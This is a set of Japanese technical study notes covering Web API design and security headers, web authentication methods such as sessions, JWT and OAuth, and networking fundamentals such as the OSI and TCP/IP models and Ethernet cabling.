条件付きリクエストを行うには、「クライアントが現在保持している情報の状態」をサーバに伝える必要がある。 そのためには最終更新日付とエンティティタグのどちらかを指標として使う。

キャッシュをさせたくない場合

APIの性格によってはキャッシュを全くさせたくない場合もある。 そうした場合は HTTP ヘッダを使って明示的に「キャッシュをして欲しくない」と伝えることができる。

Cache-Control: no-cache

no-cache は厳密には「キャッシュをしない」という指定ではなく、最低限「検証モデルを用いて必ず検証を行う」必要があることを意味する。 機密情報などを含むデータで、中継するプロキシサーバには保存をして欲しくないという場合には no-store を返す。

Varyでキャッシュの単位を指定する : キャッシュを行う際にURI 以外にどのリクエストヘッダ項目をデータを一意に特定するために> 利用するかを指定する。 例えば、緯度経度から住所に変換できる API が、返す住所情報の表示言語を Accept-Language の内容によって切り替える、といったケースで必要になる(URI だけでは内容が同一ではなくなるため、キャッシュに残った誤った情報が表示されてしまう)。

そこで、Vary ヘッダを使いキャッシュするかどうかの判断条件にどのリクエストヘッダを使うかを指定する。

Vary: Accept-Language

Cache-Controlヘッダ : Cache-Control ヘッダに指定できるディレクティブを以下に示す。

  • public・・・キャッシュはプロキシにおいてユーザが異なっても共有することができる
  • private・・・キャッシュはユーザごとに異なる必要がある
  • no-cache・・・キャッシュしたデータは検証モデルによって確認が必要
  • no-store・・・キャッシュをしてはならない
  • no-transform・・・プロキシサーバはコンテンツのメディアタイプやその他内容を変更してはならない
  • must-revalidate・・・いかなる場合もオリジナルのサーバへの再検証が必要
  • proxy-revalidate・・・プロキシサーバはオリジナルのサーバへの再検証が必要
  • max-age・・・データが新鮮である期間を示す
  • s-maxage・・・max-age と同様だが中継するサーバでのみ利用される

2.2.3. メディアタイプの指定

レスポンスではContent-Typeというヘッダを利用してメディアタイプを指定を行う。 例えば以下のように。

Content-Type: application/json
Content-Type: image/png

メディアタイプを Content-Type で指定する必要性

全ての API は適切なメディアタイプをクライアントに返すべきである。

なぜならクライアントの多くは、Content-Type の値を使ってデータ形式をまずは判断しており、その指定を間違えるとクライアントが正しくデータを読み出すことができないケースが出てくるから。

x- で始まるメディアタイプ

サブタイプが x- で始まるメディアタイプがある。 これはそのメディアタイプが IANA に登録されていないことを意味する。

データ形式が新しく登場したものであったり、あまり一般的ではない場合にはIANAに登録されていないケースがある。

  • application/x-msgpack
  • application/x-yaml
  • application/x-plist

また、現在は IANA に登録済みであっても、かつて登録前に x- で始まるサブタイプが利用されていて、現在もその歴史的経緯が残っているという場合もある。

  • application/x-javascript
  • application/x-json
  • application/x-png

自分でメディアタイプを定義する場合 : インターネット上に広く API を公開する場合はベンダツリーを使うのが最も適している。 vnd. に続いて団体名などがきて、具体的なフォーマット名を指定するような書式になる。

application/vnd.companyname.awesomeformat

JSONやXMLを用いた新しいデータ形式を定義する場合 : +xml や +json のように用いたデータ形式を + に続けて記述するべきとされている。 RSS や Atom のデータ形式はこのルールにしたがっている。

  • application/rss+xml
  • application/atom+xml

GitHubでは以下のように定義している。

HTTP/1.1 200 OK
Server: GitHub.com
Content-Type: application/json; charset=utf-8
X-GitHub-Media-Type: github.v3

リクエストデータとメディアタイプ

リクエストの際にもメディアタイプは利用される。 主に使われるヘッダは以下の2つ。

ヘッダ説明
Content-Typeレスポンスヘッダの場合と同様リクエストボディがどんなデータ形式で送られているのかを示す
Acceptクライアントが「どんなメディアタイプを受け入れ可能か」をサーバに伝えるために利用する

2.2.4. 同一生成ポリシとクロスオリジンリソースの共有

同一オリジンポリシー

同一オリジンポリシーは重要なセキュリティの仕組みであり、あるオリジンによって読み込まれた文書やスクリプトが他のオリジンにあるリソースにアクセスできる方法を制限するものである。

クロスオリジンリソース(CORS)

CORSはブラウザで実行されているスクリプトから開始されるクロスオリジン HTTP リクエストを制限するブラウザのセキュリティ機能である。

CORS

REST APIが非CORSのリクエストを受け取りたいとき: この場合CORSを許可する必要があります。

2.2.5. 独自HTTPヘッダの定義

適切なヘッダが存在しないメタデータを送りたい場合は、独自の HTTP ヘッダを定義する。 例えば以下のように。

X-AppName-PixelRatio: 2.0

HTTP ヘッダを新しく定義する場合はこのように X- という接頭辞を最初につけて、次にサービスやアプリケーションや組織などの名前をつけるというのが一般的である。

2.3. 設計変更しやすいWeb APIの作成方法

2.3.1. 設計変更しやすさの利点

基本的に一度リリースしたWebAPIはその中身を変更しようとするとそのAPIを使っているシステム(APIユーザ)にも影響が出てしまうため、不具合を除けば変更しないことが望ましい。 WebAPIをバージョン管理することで管理側が設計を変更しやすくできます。

2.3.2. APIのバージョン管理

古いVersionでアクセスしてきているクライアントに対してはそれまでと変わらないデータを送り、新しい形式でのアクセスには新しい形式のデータを返す。(複数のバージョンの API を提供する)

例えば TumblrのAPIはこのように提供されている。

http://api.tumblr.com/v2/blog/good.tumblr.com/info

ほかにも以下のような指定方法があるが、特に強いこだわりがなければURIにパスで指定する方式が無難である。

  • バージョンをクエリ文字列に入れる方法
  • メディアタイプでバージョンを指定する方法

バージョン情報の表現

バージョン情報の表現方法は以下の4つのいずれかになることが多い。

  1. 2019-12-04 のような日付形式
  2. v1.2.3 のようなセマンティックバージョニング形式
  3. v1.2 のようなメジャーバージョン.マイナーバージョンの形式
  4. v1 のようなメジャーバージョンだけの形式

APIの規模や改修頻度にもよるが多くの場合は3か4で十分であると言えるだろう。

バージョン管理の単位

本来であれば v1 にすべての機能が網羅されており、 v2 にバージョン変更しても同じようにすべての機能が網羅されているという形の方がすっきりしているように見えます。 この形だと一部の機能だけ後方互換性のない変更を行いたいにも関わらず、すべての機能に対してバージョン変更が必要になってしまいます。 そこで機能(エンドポイント)ごとにバージョン管理を行うという形を取ることがあります。

例えば、以下の2つのエンドポイントがある場合。 /v1.0/users /v1.0/companies users側にのみ変更があった場合は、 /v1.1/users /v1.0/companies のようにバージョン管理をしていく形になります。

2.3.3. バージョン変更の指針

Versioningのルールとしては、Semantic versioningが広く知られている。 メジャー、マイナー、パッチの数値を繋いで 1.2.3 のような表記で表現され、以下のようなルールが適用される。

  • パッチバージョンはソフトウェアの API に変更がないバグ修正などを行った時に増える
  • マイナーバージョンは後方互換性のある機能変更、あるいは特定の機能が今後廃止されることが決まった場合に増える
  • メジャーバージョンは後方互換性のない変更が行われた場合に増える

FacebookやTwitterはマイナーバージョンまでを含めているが、このパターンは少ない。 URIに含めるのはメジャーバージョンまでで基本的にはよい。

2.3.4. API提供の終了

API のバージョンを増やすと、API を公開する側のメンテナンスコストも、それを利用する側のメンテナンスコストも増えてしまうため、古いバージョンのサポートを終了していく必要がある。 広く一般に公開している API の場合、事前に終了日をアナウンスしてそれまでに対応してくれるように周知徹底する必要がある。 API の終了を告知してから、最低6ヶ月はAPIの公開を続けるのが良いとされる。

2.3.5. オーケストレーション層

オーケストレーション層はLSUDsなAPIを色々叩いたり処理してSSKDsなAPIに変換する層である。

オーケストレーション:コンピュータシステム、アプリケーション、およびサービスにおける、設定、管理、調整の自動化を意味する LSUDs:大多数向けの未知の外部開発者に向けたAPI SSKDs:利用者が自分が知っている開発者向けのAPI

メリット

  • クライアントごとに最適化したAPIを実装できる
  • 複数クライアントで書かなければいけないロジックをオーケストレーション層に集約できる
  • A/Bテストしやすい
  • バックエンドの開発完了を待たずにAPIスタブを作れるので、クライアントの開発を妨げない
  • APIリリースサイクルをバックエンド本体側から分離できる
  • バックエンドの仕組みを知らなくてもクライアント開発者がAPI開発することも可能

デメリット

  • APIの数が爆増する
  • バックエンドのAPIが増えると、オーケストレーション層でも対応しないといけない
  • 一段レイヤーが増えるのでネットワークコストも増える(実装次第)

5.1.3 - 3.堅牢なWebAPI設計

堅牢なAPIを設計するためのポイント

3.1. 堅牢なWeb API設計

3.1.1. Web APIの安定化

APIでのセキュリティの問題に注目し、APIについて最低限やっておくべき対策は以下の通りである。

  • サーバとクライアント間での情報不正入手
  • サーバの脆弱性による情報の不正入手や改竄
  • ブラウザからのアクセスを想定しているAPIにおける問題

3.1.2. サーバ・クライアント間での情報不正入手

HTTPSによるHTTP通信の暗号化

最も簡単でなおかつ効果のある方法はHTTPによる通信を暗号化することである。 HTTP通信を暗号化する方法として最も多く使われ、簡単に導入できるのがHTTPSというTLSによる暗号化である。

HTTPSを利用すると、サーバとクライアントの間の通信は暗号化され、途中で経由する中継サーバやネットワーク上でその中身を見ることができなくなる。

HTTPS による通信を行う場合には、サーバが送ってきた SSL サーバ証明書を受け取るが、その際にその証明書が不正なものでないかをきちんと確かめる必要がある。 それを確かめていない場合、中間者攻撃(MITM)による盗聴などが行われる危険性がある。

MITM:クライアントとサーバの通信経路の間に入り込んで中継を行うことで情報を盗み出す手法

3.1.3. ブラウザでアクセスする際の問題

XSS

Web アプリケーションにおいてHTMLにデータが埋め込まれる場合だけでなく、APIとしてJSONのようなデータを返す場合でも注意する必要がある。

例えばユーザ名に埋め込まれたJavaScript が入力のチェックをすり抜けて JSON にも格納されてしまい、それを受け取ったブラウザが画面上に表示してしまうみたいなケースがありうる。こういったことを悪用した攻撃がXSSである。

XSS対策のために一般的にはユーザからの入力をチェックしデータをユーザに返す際におかしな値を取り除く必要がある。

APIの場合は以下の通りである。

  • Content-Type に application/json を必ず返す
  • Content Sniffering を無効にするため X-Content-Type-Options: nosniff を指定する

X-Content-Type-Options はIE7以前のブラウザには効果がない。 そこで、さらなる対策として「追加のリクエストヘッダのチェック」と「JSON 文字列のエスケープ」を施す必要がある。

XSRF(CSRF)

サイトをまたいで偽造したリクエストを送りつけることにより、ユーザが意図していない処理をサーバに実行させる攻撃がXSRFである。

一般的に取られる XSRF 対策は、XSRFトークンを使う方法である。

送信元となる正規のフォームに、そのサイトが発行したワンタイムトークン、あるいは少なくともセッションごとにユニークなトークンを埋め込んでおき、そのトークンがないアクセスは拒否するというもの。

JSONハイジャック

JSONハイジャックはAPIからJSONで送られてくる情報を悪意ある第三者が盗み取ることである。 JSONハイジャックを防止するためには、現在のところ以下のような対策が有効である。

  • JSONをScript要素では読み込めないようにする
  • JSONをブラウザが必ずJSONと認識するようにする
  • JSONをJavaScriptとして解釈不可能、あるいは実行時にデータを読み込めないようにする

3.1.4. 悪意のあるアクセスへの対策

パラメータの改ざん

サーバに送信するパラメータを勝手に変更してサーバに送信することで、本来取得できない情報を取得したり、サーバ側のデータを本来ならありえない側に変更したりすること。

こうしたことを避けるために重要なのは本来アクセスができないはずの情報はサーバ側できちんとチェックし、アクセスを禁止するようにしておくことである。

3.1.5. セキュリティ関連のHTTPヘッダ

X-Content-Type-Options

X-Content-Type-Options: nosniff

X-XSS-Protection

ブラウザが備えているXSSの検出、防御機能を有効にするヘッダ。 IE8以上、Chrome と Safari にこの機能が実装されている。

X-XSS-Protetion: 1; mode=block

X-Frame-Options

このヘッダを設定することで指定したページがフレーム内で読み込まれるかどうかを制御することができる。 IE8以上、Chrome や Safari、FireFox などのブラウザが対応している。

X-Frame-Options: deny

Content-Security-Policy

読み込んだ HTML 内の img 要素、script 要素、link 要素などの読み込み先としてどこを許可するのかを指定するためのヘッダ。

XSS の危険性を低減することができる。

Content-Security-Policy: default-src `none`

Strict-Transport-Security

Http Strict Transport Security(HSTS) を実現するためのヘッダ。 このヘッダを利用すると、あるサイトへのブラウザからのアクセスを HTTPS のみに限定させることができる。

Strict-Transport-Security: max-age=15768000

Public-Key-Pins

HTTP-based public key pinning(HPKP) のためのヘッダ。 SSL証明書が偽造されたものでないかをチェックするために利用する。

Public-Key-Pins: max-age=2592000;
      pin-sha256="(省略)";
      pin-sha256="(省略)"

Set-Cookieヘッダとセキュリティ

ブラウザでセッションを扱う場合はクッキーをセッション管理に使う場合が多いが、その際にもセキュリティを考慮しておくことが可能。 そのために使うことができるのが Secure および HttpOnly という属性である。

Set-Cookie: session=(省略); Path=/; Secure; HttpOnly

Secure 属性をつけることでそのクッキーは HTTPS での通信の際のみサーバに送り返される。 HttpOnly 属性をつけることでそのクッキーは HTTP の通信のみで使われ、ブラウザで JavaScript などのスクリプトを使ってアクセスすることができないものであることを示せる。

3.1.6. 大量アクセスへの対策

ユーザごとのアクセスを制限する

一度の大量のアクセスがやってきてしまう問題を解決するための最も現実的な方法はユーザごとのアクセス数を制限することである。

単位時間あたりの最大アクセス回数(レートリミット)を決め、それ以上のアクセスがあった場合にエラーを返すようにする。

レートリミットを行うにあたっては以下のようなことを決める必要がある。

  • 何を使ってユーザを識別するか
  • リミット値をいくつにするか
  • どういう単位でリミット値を設定するか
  • リミットのリセットをどういうタイミングで行うか

制限値を超えてしまった場合の対応

レートリミットを超えた場合は 429 Too Many Requests を返す。 RFC の中でこのステータスコードについては以下のように書かれている。

  • エラーの詳細をレスポンスに含めるべきである(SHOULD)
  • Retry-After ヘッダを使って次のリクエストをするまでにどれくらい待てば良いかを指定しても良い(MAY)

レートリミットをユーザに伝える

レートリミットを行なった場合、現在のリミットアクセス数やどれくらいすでにアクセスしているのか、それがリセットされるのはいつか、などの情報をユーザに知らせてあげた方が親切である。

TwitterやGitHubでは、レートリミットを知るための専用のAPIを用意している。

HTTP のレスポンスでレートリミットを渡す場合は、HTTP ヘッダに入れるのが現時点でのデファクトスタンダード。

  • X-RateLimit-Limit・・・単位時間あたりのアクセス上限
  • X-RtaeLimit-Remaining・・・アクセスできる残り回数
  • X-RateLimit-Reset・・・アクセス数がリセットされるタイミング

3.2. Web APIの関連資料

3.2.1. Web API チェックリスト

REST API設計におけるチェックリスト。

英) https://www.kennethlange.com/rest-api-checklist/

3.2.2. Web APIの資料

資料名URL提供機関
REST API Referencehttps://nec-baas.github.io/baas-manual/latest/developer/ja/rest-ref/index.htmlNEC
REST API Checklisthttps://www.kennethlange.com/rest-api-checklist/
mdn web docs HTTPhttps://developer.mozilla.org/ja/docs/Web/HTTPMDN
RFC 6749 OAuth2.0https://tex2e.github.io/rfc-translater/html/rfc6749.htmlIETF
Google JSON style Guidehttps://google.github.io/styleguide/jsoncstyleguide.xmlGoogle
API設計まとめhttps://qiita.com/KNR109/items/d3b6aa8803c62238d990

5.2 - 2.Web認証技術基礎

認証を実装するための技術メモ

2.1. 認証とは

2.1.1. 認証と認可

認証と認可は下記のように定義される。

  • 認証(Authentication) … ある個人を特定すること
  • 認可(Authorization) … 行動やリソースの許可をすること

Web系サービスの場合は認証を行った時点でそのユーザが使用できる機能が決まるため認証されたと同時に認可もされていると言える。

2.1.2. 様々な認証の方法

HTTP上で認証を行う場合。

  • セッションベースの認証
  • トークンベースの認証
  • Authorizationヘッダを用いた認証

など様々な方法がある。

2.2. セッションベースの認証

セッションベースの認証はセッション管理をクッキー(cookie)の仕組みを使ってログイン者の認証状態をサーバー側に保持しておくやり方である。

セッション管理で保持した状態にアクセスするキーとして、セッションIDを使用する。 セッションベースの認証ではログインの成功したら新たにセッションIDを発行してブラウザ側に送り、あとはそのセッションIDをやり取りすることで、認証状態を維持していくやり方をとる。

この手法は実装も比較的簡単でありユーザにとっても使いやすく優れた方法といえる。

ただしセッションIDが流出した場合セッションベースの認証は意味を失う

2.2.1. セッションIDの流出を防ぐチェックポイント

  • クッキー発行の際の属性に不備がないか(特にDomain、Source、HttpOnlyなど)
  • セッションIDをURLに保持などしてRefererヘッダから漏洩するリスクがない
  • TLS等で暗号化されていないためネットワークの盗聴で漏洩するリスクがないか
  • セッションIDが推測可能になっていないか(セッション管理機構の自作はNG)

また、セッションベースの認証はCSRF(クロスサイト・リクエストフォージェリ)攻撃に対して弱いことが知られているため、CSRF対策とあわせて使う必要がある。

2.3. トークンベースの認証

2.3.1. JWT認証

JWT(JSON Web Token)認証はJavaScriptのオブジェクトの形をした認証情報を用いた認証のこと。

JWTの構成

JWTは以下の3要素で構成される。

  • ヘッダー … 署名に使われている暗号化アルゴリズムや、トークンタイプなどのメタ情報が入る
  • クレーム情報 … 任意の情報を含ませることができ、ここにユーザー認証情報を記述する
  • 署名 … ヘッダーに記述した暗号化アルゴリズムにより、ヘッダーとクレーム情報をBase64urlに変換したものから生成される

JWT認証のメリット

  • 安全
    • JWTに署名が含まれているため、改ざんがあってもチェックできるようになっている。
  • 実装のしやすさ
    • セキュアなToken発行が楽に実装できる。
  • 管理のしやすさ
    • URLに含むことができる文字で構成されているから、HTTPリクエストでの取り扱いが楽。
    • 認証に必要となる情報はすべてJWTの中に入っているため、ユーザー認証情報をサーバーで管理する必要がない。DB問い合わせを行う必要がない。

JWT認証の脆弱性

基本的にJWT認証を実現するライブラリの使い方や秘密鍵の長さに気を付けていれば問題ないが、以下のような脆弱性がある。

  • アルゴリズムでnoneを許容すると署名作成の際にハッシュ化されないため、改ざんができてしまう = none attack * ライブラリの設定で防げるし秘密鍵を指定したらデフォルトで受け付けない場合がほとんどである
  • 秘密鍵が短いとbrute force attackで突破できてしまう * 256bitなどの長さならほぼ問題ない * 256bit以上が推奨されている

2.3.2. OAuth/OAuth2またはOpenIDによる認証

OAuth/OAuth2

OAuthは基本的に広く第三者に公開されるAPIでデータや機能へのアクセス権限の許可を行う仕組みのこと。 OAuthにより権限の許可を付与することで本来であれば利用することができない他サービスのリソースを連携してもらうことができる。

OAuthには 1.0 と 2.0 があり、2.0 は2012年10月にRFC6749として標準化されている。 OAuth 1.0を利用する理由は特にないため、実装する場合は2.0を利用するのが良い。

Open ID Connect

Open ID Connect はシンプルなIDプロトコルであり、OAuth 2.0 プロトコルを使用して構築されたオープン・スタンダードです。( OAuth2.0の拡張版 )

OpenID

OpenID

Open IDはユーザーのIDや認証、アクセス先に関する情報を、特定のサービスに依存しない形で連携するためのプロトコルである。

仕組みとしては、利用者からログイン要求のあった「クライアントアプリ」が「OpenID Provider」と呼ばれる認証サーバへ利用者を誘導し、利用者は「ログインID」と「パスワード」を入力して認証を行う。

2.4. Authorizationヘッダを用いた認証

2.4.1. Basic認証

Basic認証は特定のディレクトリに設定をすることでIDとパスワードがなければそのディレクトリ以下のコンテンツを閲覧できなくすることができる機能のこと。

この仕組みはWebサーバの設定(.htaccessなど)でも実現できる場合が多いが、各種フレームワークや言語の機能で実装できる場合もある。

2.4.2. Digest認証

Digest認証(ダイジェスト認証)はBasic認証の平文で「ユーザーID」と「パスワード」を送信してしまう欠点を改善した認証方式である。

具体的には「ユーザーID」と「パスワード」をハッシュ化して送信する。

Digest

SSL/TLS(HTTPS)を使用すればBasic認証の平文でパスワードを送信する欠点を改善できるため、Digest認証は、HTTPS通信ができない環境で使われるHTTP認証方式と言える。

4.3. Bearer認証

Bearer認証(アクセストークン認証)はログインID・パスワードなどでユーザー認証を行なった後に、サービスから発行されるアクセストークンを受け取って、APIのリクエスト時に送信する認証方式のこと。

具体的には、HTTPリクエストヘッダーにアクセストークンを記述して送る。 設定するヘッダー項目は「Authorizationヘッダー」です。

Authorization: Bearer {アクセストークン}

この認証はトークンを利用した認証・認可に使用されることを想定しており, OAuth 2.0の仕様の一部として定義されているが, その仕様内でHTTPでも使用しても良い。

トークンの形式はtoken68の形式で指定することが定められている。

token68は1文字以上の半角英数字, - (ハイフン), . (ドット), _ (アンダーバー), ~ (チルダ), + (プラス), / (スラッシュ)から構成された文字列を指す. 文字列の末尾に任意個の = (イコール)が挿入されていても良い。

2.5. アプリやサービスのセキュリティ認証

2.5.1. パスワード認証

ユーザーを「ID」と「パスワード」により認証するもので、インターネットの初期から使われている認証方式。 ほかの認証方式に比べて突破しやすいため、パスワード認証方式を対象とするサイバー攻撃は数多くある。

パスワードの設定時に、「英字(大文字/小文字)、数字、記号を混在させること」、「6文字以上にすること」などの規定を設けて、複雑なパスワードの設定を促す。単純なパスワードを使えなくすることでブルートフォースアタックを防ぎ、認証を強化できる。

パスワード認証に関連する技術

名称内容
PINコードいわゆる暗証番号で「数桁の数字の組み合わせ」を認証に利用する。突破されやすいため他の認証を組み合される
ワンタイムパスワード1回しか使えないパスワードです。流出しても再利用はできないため不正アクセスを防ぐことができる
ニーモニック認証写真の組み合わせを使った認証方式
秘密の質問あらかじめ決めておいた質問とその回答による認証方式

2.5.2. CAPTURE認証

CAPTURE認証はコンピューター(プログラム)と人間を識別するためのテストのこと。

画面に「判別しにくい歪んだ文字列の画像」を表示しその文字を入力させるのが代表的。パズルを完成させるケースもある。 近年ではAIが歪んだ文字列を認識できるようになっているためあまり使われなくなってきた。

2.5.3. SNS認証

SNSのアカウントを利用して認証します。Facebook、Twitterなどのアカウントで他のWebサイトにログインできるようになる。

「OpenID」という認証を行うためのプロトコルや、「OAuth」と呼ばれる別のサービスに特定の権限のみ与える仕組みを利用して実装される。

2.5.4. 生体認証

生体そのものが持っている特徴を利用して本人確認を行う認証を指す。

指紋認証、顔認証、虹彩認証など様々な種類があるため、パスワード認証と比べると盗用のリスクが低くユーザーはIDやパスワードを覚えたり、カードを持ち歩いたりする必要が無いので利便性も高くなる。 しかしけがや事故により認証できなくなる可能性がある。

6 - 通信/ネットワーク入門

通信/ネットワークを極めたい、設計したい理解したい方向け

6.1 - 通信/ネットワーク基礎

通信/ネットワークの基礎知識(TCP/IP, NAT、Switching, Routingなど)基礎のノート(CCNA範囲)

6.1.1 - 1.ネットワークの基礎知識

ネットワークの基礎知識総まとめ

1.1. ネットワークと通信方式

ネットワークはパソコンやネットワーク機器(ハブやルータなど)の要素がケーブル等で接続されて通信可能な状態のものを指す。

ネットワークを構成する要素、例えばクライアント(PC)やサーバ、ルータなどはノード、ノード同士を結ぶ線をリンク、リンク上のデータ流れをフロー、ネットワーク上の流れる情報やその量をトラフィックという。

1.1.1. LANとWAN

ネットワークの種類はLANWAN、インターネットに分類される。

LAN

家庭、企業、ビルなどの施設単位の範囲で利用するネットワーク。 LAN内で自由に機器や配線等を設定できる。

WAN

地理的に離れたLANとLANを接続するネットワーク。 WANではLANの通信管理者が機器設定配線は行えないため、利用には通信事業者が提供するWANサービスを利用する。

インターネット

たくさんのネットワークを接続した地球規模の巨大ネットワークを指す。 広義の意味ではWANに含まれる。

インターネットへの接続は**ISP(インターネットプロバイダ)**を介して接続を行える。 インターネットを利用して構築されたLANはイントラネットと呼ばれる。

1.1.2. ネットワークトポロジ

ネットワークトポロジは端末やネットワーク機器の接続形態を指す。

複数の型のネットワークトポロジを組み合わせた形態はハイブリッド型と呼ばれる。

ネットワークトポロジ

バス型

バスに障害が発生するとノード間通信ができなくなる。

リング型

ノードを円形接続する形態で1か所障害が発生すると全体に影響が出る。

スター型

現在主流の接続形態であり、中央装置にノードを接続する。

メッシュ型

リンク間をそれぞれ接続する接続形態。 1か所で障害が起きても他ノードを経由して通信が可能なため障害に強い

すべてのノードがたがいに接続されている状態はフルメッシュ。 部分的にメッシュとなっている状態はパーシャルメッシュと呼ばれる。

1.1.3. 通信の種類

1.1.3.1. コネクション型通信

コネクション型通信はデータ転送前に通信相手と正常に接続できているか確認したうえで通信を行う方式である。

代表的なプロトコルにはTCPが上げられる。

1.1.3.2. コネクションレス型通信

コネクションレス型通信は事前の接続確認を行わずいきなりデータ転送を始める通信方式である。

コネクションレス型通信はコネクション型通信とは異なり、事前にコネクションの確立を行わない。 したがって、転送元のコンピュータは好きなタイミングで好きなだけデータを転送することが可能。

代表的なプロトコルにはUDPやIPが上げられる。

1.1.3.3. パケット交換方式と回線交換方式

回線交換方式は1対1の通信を行う場合において回線を占有しながら通信を行う通信方式です。代表的なものには「電話」があります。

この方式では1つの回線を占有して通信を行うため、その間他の機器とは通信を行うことができない。

パケット交換方式は複数:複数で回線を共有して通信を行う方式のことです。 パケット交換方式では、データを1つ1つの小さな小包(=パケット)に分けて、郵便配達のようにデータを届けます。

1.1.4. IPアドレスとMACアドレス

ネットワークにおける代表的なアドレスにはIPアドレスMACアドレスがある。

いずれもネットワークを利用するためにコンピュータに一意に割り当てられた識別子であり、これらのアドレスには一意性や階層性がある。

2つのアドレスはまとめるとこのように考えることができる。

  • MACアドレス => 機器の識別番号
  • IPアドレス => 機器の住所情報

IPアドレス

IPにおいてパケットを送受信する機器を判別するための識別番号のことであり、MACアドレスと同様に世界中で一意の番号となる。

IPアドレスは「ネットワーク上の住所」と説明される。

MACアドレス

ネットワークにつながるすべての機器に割り当てられている識別番号のことでNICに割り当てられる。これらはイーサネットや無線LANなどに接続されているノードを一意に識別するために利用される。

MACアドレスは0~9、A~Fの16進数・12桁で表され、48bitで構成される。この番号は、世界中で一意の番号となる。 隣接するコンピュータ間の通信を可能にするアドレスといえる。

前半24bitのベンダ識別子はOUIと呼ばれ、IEEEが管理している。後半24bitはベンダーが独自に割り当てられる。

MAC

1.1.5. 通信の方式

通信の方式は宛先の指定により4種類に分けられ、それぞれの方式で使用するアドレスが異なる。

ブロードキャストやマルチキャストでのデータ複製はネットワーク途中の集線装置がデータの複製を行う。

1.1.5.1. ユニキャスト

特定のあて先にのみデータを送信する方式。

1対1で通信を行う。

1.1.5.2. マルチキャスト

ネットワーク内の特定のグループに対してデータを送信する方式。

1対グループの通信となる。

1.1.5.3. ブロードキャスト

不特定多数に対して同じデータを送信する方式。 ただし、多数といっても対象は同一のネットワーク内の端末である。

1対多数での通信となる。

ブロードキャストでは通信と必要としない端末にも通信が届くため、ブロードキャスト通信が多い場合ネットワーク、通信を確認する端末に負荷がかかる。

ブロードキャスト通信はARPやDHCPで使用される。

またブロードキャストでフラッディングが止まらなくなる現象はブロードキャストストームと呼ばれ、ネットワークに負荷がかかり輻輳が発生する原因となる。

1.1.5.4. エニーキャスト

ネットワーク内で、同じアドレスを共有する複数のノードのうち、最も近い相手にデータを送信する方式。

IPv6などに用意されている仕組みであり、比較的特殊な方式である。

1.2. プロトコルとOSI参照モデル

1.2.1. プロトコル

プロトコルはコンピュータでデータをやりとりするために定められた手順や規約、信号の電気的規則、通信における送受信の手順などを定めた規格を指します。

ネットワークではネットワーク通信手順や規約を定めたものを通信プロトコルと呼ぶ。

異なるメーカーのソフトウェアやハードウエア同士でも、共通のプロトコルに従うことによって正しい通信が可能になる。

プロトコルを階層的に構成したもの(プロトコルスタック)と呼ばれ、その階層化例にはOSI参照モデル、TCP/IP階層モデルがある。

1.2.2. OSI参照モデル

OSI参照モデルはISO(国際標準化機構)により定められた階層モデルである。異なるベンダー間が製造する通信規格を統一化するために作成された。

OSI参照モデルでは7つの階層を定義している。

OSI

OSI参照モデルには以下のようなメリットがある。

  • 階層ごとに機能を分けるとネットワークやアプリの設計者/開発者が役割を理解しやすい
  • 階層が分かれているためネットワーク障害などの問題の切り分け等が容易
  • プログラムの開発改修が簡単

カプセル化/非カプセル化

各階層の上から下へ各レイヤーのヘッダをデータに付けて、上位階層の通信データをそのままデータとしていくことはカプセル化とよばれ、その逆を非カプセル化と呼ばれる。

PDU/ペイロード

各階層で扱う通信データ単位はPDU(Protocol Data Unit)と呼ばれる。

レイヤー4(トランスポート層)ではセグメント。 レイヤー3(ネットワーク層)ではパケット。 レイヤー2(データリンク層)ではフレームと呼ばれる。

PDUからその層のヘッダを除いた部分はペイロードと呼ばれる。

1.2.3. TCP/IPモデル

TCP/IPは現代(1990年代から現在)のインターネットで利用されているプロトコル。

TCP/IP階層モデルではOSI参照モデルのレイヤー7からレイヤー5はアプリケーション層として、レイヤー2からレイヤー1はリンク層として扱い、4層構成となっている。

TCP/IP階層モデルのアプリケーション層

代表的なプロトコルには以下のようなものがある。

プロトコル説明
HTTPWebサイトの閲覧などでサーバ-クライアント間通信で利用される
SMTPメールの送信に利用
POP3メールの受信に利用
IMAPメールの受信に利用
FTPファイルの転送に利用

TCP/IP階層モデルのトランスポート層

トランスポート層ではアプリケーション層のプロトコル間の通信を制御する。

プロトコルは主にTCPUDPがあり、前者はデータの信頼性、後者はデータの伝送速度を重視する。

TCPを利用するアプリケーション層のプロトコルはHTTPやFTP、POP3などがある。

UDPを利用するアプリケーション層のプロトコルにはDHCPやDNS、SNMPなどがある。他にもリアルタイム性を重視する通信に利用される。

TCP/IP階層モデルのインターネット層

インターネット層ではエンドーツーエンド通信の制御が役割であり、以下に代表的なプロトコルを記載する。

プロトコル説明
IPIPアドレスを使用したデータ配送
ICMP宛先までのルートが使用可能か確認などを行う, pingコマンドはこれを利用
IGMPデータのマルチキャスト通信で宛先端末のグループ化を行う
IPsec暗号化通信を行う
ARPIPアドレスからMACアドレスを取得
RARPMACアドレスからIPアドレスを取得

TCP/IP階層モデルのリンク層(NIC層)

物理的な2機器間を結ぶ線をリンクと呼ばれることからリンク層と呼ぶ。 代表的なプロトコルは以下。

プロトコル説明
Ethernet(イーサネット)ほとんどのLANで使用されるプロトコル
PPP2台機器を接続して通信を行うプロトコル

1.3. イーサネットLAN

1.3.1. イーサネット

イーサネットはOSI参照モデルでいう、物理層とデータリンク層で動作するプロトコルで、LANで最も利用されています

1.3.2. イーサネットLANケーブルと規格

1.3.2.1. LANケーブルの種類

ネットワーク機器を構築する際に機器や環境に応じて様々な種類のケーブルを使い分けます。

種類説明
ツイストペアケーブル(LANケーブル)銅線を2本ずつペアにしより合わせたケーブルでSTPとUTPがある。
同軸ケーブル伝送用の1本銅線を絶縁体で囲んだケーブル
光ファイバケーブル光信号を反射させ利用するケーブル、FTTxやGbitイーサネットがある。

LANケーブル

1.3.2.2. ツイストペアケーブルの種類

ツイストペアケーブルにはSTPUTPがある。

STPはノイズに強いシールドがついたもので工場などの電磁波を発生する設備/機器がある場所にネットワークを構築する場合などに使用される。

UTPは一般的なツイストペアケーブルであり、主流である。

1.3.2.3. LANケーブルのタイプとMDI/MDI-X

ツイストペアケーブルにはさらに別にストレートケーブルクロスケーブルの2種類があり

ケーブル端のピン(8つ存在)の並びにそれぞれ違いがある。

ツイストペアケーブルを差し込むポートにはMDIMDI-Xの2種類があり機器により差し込む仕様が決まる。

種類説明機器例
MDI8ピンのうち1,2番目を送信、3,6番目を受信に使用PCやルータ
MDI-X8ピンのうち1,2番目を受信、3,6番目を送信に使用ハブやレイヤー2スイッチ

つまちMDIとMDI-Xを接続する場合はストレートケーブル、同じ種類のポートを接続したい場合はクロスケーブルを使用する。

